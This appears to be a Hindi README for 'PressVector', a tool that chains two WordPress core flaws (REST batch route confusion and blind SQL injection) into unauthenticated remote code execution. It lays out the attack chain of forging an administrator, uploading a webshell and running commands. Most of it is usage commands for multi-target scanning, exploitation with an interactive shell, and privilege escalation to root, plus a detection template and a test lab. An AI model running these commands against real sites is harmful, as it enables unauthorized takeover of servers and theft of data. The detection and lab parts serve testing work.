
प्रेसवेक्टर - उन्नत वर्डप्रेस भेद्यता स्कैनर CVE-2026-63030 (REST बैच रूट कन्फ्यूजन) / CVE-2026-60137 (SQLi) डेवलपर: वल्नक्वेस्ट
⚡ WordPress Core के लिए उन्नत Pre-Auth RCE और Blind SQLi शोषण फ्रेमवर्क
PressVector एक व्यापक, पूर्णतः स्वचालित शोषण फ्रेमवर्क है जो CVE-2026-63030 और CVE-2026-60137 को लक्षित करता है — WordPress core में दो गंभीर कमज़ोरियाँ जो मिलकर बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती हैं।
यह फ्रेमवर्क REST Batch Route Confusion को एक blind SQL injection के साथ श्रृंखलाबद्ध करता है ताकि व्यवस्थापक सत्रों को जाली बनाया जा सके, webshell तैनात किए जा सकें, और मनमाने OS कमांड निष्पादित किए जा सकें — बिना किसी क्रेडेंशियल के।
⚠️ केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।
CVE-2026-63030 WordPress core में एक गंभीर प्री-ऑथेंटिकेशन RCE कमज़ोरी है, जिसे Adam Kues (Assetnote / Searchlight Cyber) ने खोजा था। यह शोषण दो स्वतंत्र कमज़ोरियों को श्रृंखलाबद्ध करता है:
| CVE | सलाह | प्रकार | प्रभाव |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST Batch Route Confusion | Pre-Auth RCE |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | author__not_in SQL Injection | Pre-Auth Blind SQLi |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| WordPress संस्करण | लागू CVEs | प्रभाव | स्थिति |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 ब्लाइंड SQLi (उच्च) | ❌ असुरक्षित |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 प्री-ऑथ RCE (गंभीर) | ❌ असुरक्षित |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 प्री-ऑथ RCE (गंभीर) | ❌ असुरक्षित |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (उच्च) | ❌ असुरक्षित |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ पैच किया गया | ✅ सुरक्षित |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — मुख्य शोषण फ्रेमवर्क4 ऑपरेशन मोड्स के साथ पूर्ण-सुविधा वाला शोषण फ्रेमवर्क।
scan — मल्टी-टारगेट भेद्यता स्कैनरबड़े पैमाने पर कमजोर WordPress इंस्टॉलेशन का पता लगाने के लिए तेज़, मल्टी-थ्रेडेड स्कैनर।
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — ब्लाइंड SQLi पुष्टिटाइमिंग कैलिब्रेशन के साथ एकल लक्ष्य पर टाइम-आधारित ब्लाइंड SQL इंजेक्शन की पुष्टि करें।
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — पूर्ण RCE शोषण श्रृंखलापूर्ण शोषण: एडमिन बनाएं → webshell तैनात करें → कमांड निष्पादित करें।
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — विशेषाधिकार उन्नयनRCE प्राप्त करने के बाद स्थानीय विशेषाधिकार उन्नयन का प्रयास करें।
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Nuclei डिटेक्शन टेम्पलेटबड़े पैमाने पर निष्क्रिय डिटेक्शन के लिए एक प्रोडक्शन-रेडी Nuclei टेम्पलेट।
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
टेम्पलेट विशेषताएँ:
इन कमज़ोरियों के सुरक्षित, पृथक परीक्षण के लिए एक पूर्णतः स्वचालित, कंटेनरीकृत पेनेट्रेशन टेस्टिंग लैब शामिल है।
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(पहली बार चलाने पर WP-CLI इंस्टॉलर को सभी WordPress साइटों को स्वचालित रूप से सेट अप करने में लगभग 60-90 सेकंड प्रतीक्षा करें)।
| पोर्ट | सेवा | WordPress संस्करण | भेद्यता / स्थिति |
|---|---|---|---|
| 8080 | Target 1 | 6.8.5 | CVE-2026-60137 (केवल Blind SQLi) 🔴 |
| 8081 | Target 2 | 6.9.4 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8082 | Target 3 | 7.0.1 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8083 | Reference | Latest | पैच किया गया / सुरक्षित संदर्भ ✅ |
| 8084 | PHPMyAdmin | — | DB प्रबंधन उपकरण |
| 8085 | Lab Dashboard | — | लक्ष्य स्थिति और कॉपी करने योग्य कमांड वाला Web UI 🖥️ |
एडमिन क्रेडेंशियल: admin / admin123
MySQL रूट पासवर्ड: root
आप स्वचालित परीक्षण सूट का उपयोग करके संपूर्ण लैब स्थिति और शोषण पथों का सत्यापन कर सकते हैं:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh या .\stop-lab.ps1 चलाएँreset-lab.sh या .\reset-lab.ps1 चलाएँअधिक उन्नत निर्देशों और समस्या निवारण के लिए, Lab README देखें।